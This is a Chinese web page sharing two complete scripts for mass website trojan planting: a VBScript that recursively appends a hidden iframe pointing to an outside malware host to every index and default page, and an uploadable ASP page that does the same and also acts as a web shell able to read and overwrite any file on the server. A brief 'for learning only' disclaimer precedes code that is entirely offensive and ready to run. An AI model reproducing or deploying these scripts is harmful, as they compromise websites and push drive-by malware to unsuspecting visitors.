两个批量挂马vbs脚本代码

时间:2022-06-01 21:06:20

代码仅供学习,切勿用于非法用途!

scan.vbe

cscriptscan.vbeweb目录

程序代码:

  1. '版权信息  
  2. br="************************************" & vbCrLf  
  3. br=br & "* VBS 批量挂马脚本 *" & vbCrLf  
  4. br=br & "* BY BanLG *" & vbCrLf  
  5. br=br & "************************************" & vbCrLf & vbCrLf  
  6. br=br & "cscript scan.vbe D:\" & vbCrLf   
  7.  
  8. '马的地址  
  9. ma="</Script><IfRAME height=0 width=0 sRc=" & chr(34) & "http://www.hacker.com.cn"&chr( … t;</IFrAME>"   
  10. '要挂马的页面如果嫌不够还可以自己再加,记得要用”|”隔开  
  11. MyString="index.php|index.asp|index.html|index.htm|default.php|default.asp|default.html|default.htm|index.aspx|default.aspx"  
  12. '以"|"为分隔符拆分成数组  
  13. MyArray = Split(MyString, "|", -1, 1)  
  14.  
  15. web=WScript.Arguments(0)  
  16.  
  17. '如果web为空退出脚本  
  18. if web="" then  
  19. Wscript.echo (br)  
  20. window.Close  
  21. end if  
  22.  
  23. Wscript.echo (br) & "马的地址:" & ma & vbCrLf & vbCrLf  
  24. '创建对象  
  25. Set fso = createObject("Scripting.FileSystemObject")  
  26.  
  27. '开始扫描挂马  
  28. scan(web)  
  29.  
  30. 'scan定义函数,扫描查找符合条件的文件把马的内容写到文件的结尾  
  31. sub scan(filesder)   
  32. set filesder=fso.getfolder(filesder)  
  33. '得到当前目录的所有文件集合  
  34. set files=filesder.files   
  35. '获取文件名  
  36. for each fext in files  
  37. Set file1 = fso.GetFile(fext)  
  38. filesext=file1.Name  
  39. '把文件名转换成小写字母  
  40. ext=lcase(filesext)   
  41. For Each index in MyArray  
  42. '判断文件是不是我们在MyString里限定的文件,如果是就写马  
  43. if ext=lcase(index) then  
  44. Set ts = fso.OpenTextFile(fext,8) '打开文件并在文件末尾进行写操作  
  45. ts.WriteLine(ma)  
  46. ts.Close  
  47. echo=""  
  48. echo=fext & " ………….ok"  
  49. Wscript.echo (echo)  
  50. end if  
  51. next  
  52. next  
  53.  
  54. set subfolders=filesder.subfolders  
  55. for each subfolder in subfolders '搜索其他目录,递归调用  
  56. scan(subfolder)  
  57. next   
  58. end sub  
  59.  
  60.  
  61. FSO挂马.asp  
  62. 传进服务器以后 直接输入需要挂马的路径就可以直接挂了  
  63. 程序代码:  
  64.  
  65. <%Server.ScriptTimeout=10000  
  66. Response.Buffer=False  
  67. %>  
  68. <html>  
  69. <head>  
  70. <title></title>  
  71. <**** http-equiv="Content-Type" content="text/html; charset=gb2312">  
  72. </head>  
  73. <body>  
  74. <%  
  75. ASP_SELF=Request.ServerVariables("PATH_INFO")  
  76.  
  77. s=Request("fd")  
  78. ex=Request("ex")  
  79. pth=Request("pth")  
  80. newcnt=Request("newcnt")  
  81.  
  82. If ex<>"" AND pth<>"" Then  
  83. select Case ex  
  84. Case "edit"  
  85. CALL file_show(pth)  
  86. Case "save"  
  87. CALL file_save(pth)  
  88. End select  
  89. Else  
  90. %>  
  91. <form action="<%=ASP_SELF%>" method="POST">  
  92. FOLDER (ABSOLUTE PATH):  
  93. <input type="text" name="fd" size="40">  
  94. <input type="submit" value="SUBMIT">  
  95. </form>  
  96. <%End If%>  
  97. <%  
  98. Function IsPattern(patt,str)  
  99. Set regEx=New RegExp  
  100. regEx.Pattern=patt  
  101. regEx.IgnoreCase=True  
  102. retVal=regEx.Test(str)  
  103. Set regEx=Nothing  
  104. If retVal=True Then  
  105. IsPattern=True  
  106. Else  
  107. IsPattern=False  
  108. End If  
  109. End Function  
  110.  
  111. If IsPattern("[^ab]{1}:{1}(\\|\/)",s) Then  
  112. sch s  
  113. Else  
  114. If s<>"" Then Response.Write "Invalid Agrument!"  
  115. End If  
  116.  
  117. Sub sch(s)  
  118. oN eRrOr rEsUmE nExT  
  119. Set fs=Server.createObject("Scripting.FileSystemObject")  
  120. Set fd=fs.GetFolder(s)  
  121. Set fi=fd.Files  
  122. Set sf=fd.SubFolders  
  123. For Each f in fi  
  124. rtn=f.Path  
  125. step_all rtn  
  126. Next  
  127. If sf.Count<>0 Then  
  128. For Each l In sf  
  129. sch l  
  130. Next  
  131. End If  
  132. End Sub  
  133.  
  134. Sub step_all(agr)  
  135. retVal=IsPattern("(\\|\/)(default|index)\.(htm|html|asp|php|jsp|aspx)\b",agr)  
  136. If retVal Then  
  137. step1 agr  
  138. step2 agr  
  139. Else  
  140. Exit Sub  
  141. End If  
  142. End Sub  
  143. %>  
  144. <%Sub step1(str1)%>  
  145. <a href="<%=ASP_SELF%>?ex=edit&pth=<%=str1%>" target="_blank"><%=str1%></a><br>  
  146. <%End Sub%>  
  147. <%  
  148. Sub step2(str2)  
  149. addcode="<iframe src=http://www.21o.net/mm/mm.htm(修改为你的马的地址,不要加""不然会出错) width=0 height=0 frameborder=0></iframe>"  
  150. Set fs=Server.createObject("Scripting.FileSystemObject")  
  151. isExist=fs.FileExists(str2)  
  152. If isExist Then  
  153. Set f=fs.GetFile(str2)  
  154. Set f_addcode=f.OpenAsTextStream(8,-2)  
  155. f_addcode.Write addcode  
  156. f_addcode.Close  
  157. Set f=Nothing  
  158. End If  
  159. Set fs=Nothing  
  160. End Sub  
  161. %>  
  162. <%  
  163. Sub file_show(fname)  
  164. Set fs1=Server.createObject("Scripting.FileSystemObject")  
  165. isExist=fs1.FileExists(fname)  
  166. If isExist Then  
  167. Set fcnt=fs1.OpenTextFile(fname)  
  168. cnt=fcnt.ReadAll  
  169. fcnt.Close  
  170. Set fs1=Nothing%>  
  171. FILE: <%=fname%>  
  172. <form action="<%=ASP_SELF%>" method="POST">  
  173. <textarea name="newcnt" cols="100" rows="30"><%=cnt%></textarea>  
  174. <input type="hidden" name="pth" value="<%=fname%>">  
  175. <input type="hidden" name="ex" value="save">  
  176. <input type="submit" value="SAVE">  
  177. </form>  
  178. <%Else%>  
  179. <p>THE FILE IS NOT EXIT OR HAVE deleteD.</p>  
  180. <%  
  181. End If  
  182. End Sub  
  183. %>  
  184. <%  
  185. Sub file_save(fname)  
  186. Set fs2=Server.createObject("Scripting.FileSystemObject")  
  187. Set newf=fs2.createTextFile(fname,True)  
  188. newf.Write newcnt  
  189. newf.Close  
  190. Set fs2=Nothing  
  191. Response.Write "<p>THE FILE WAS MODIFIED SUCCESSFULLY.</p>"   
  192. End Sub  
  193. %>  
  194. </body>  
  195. </html>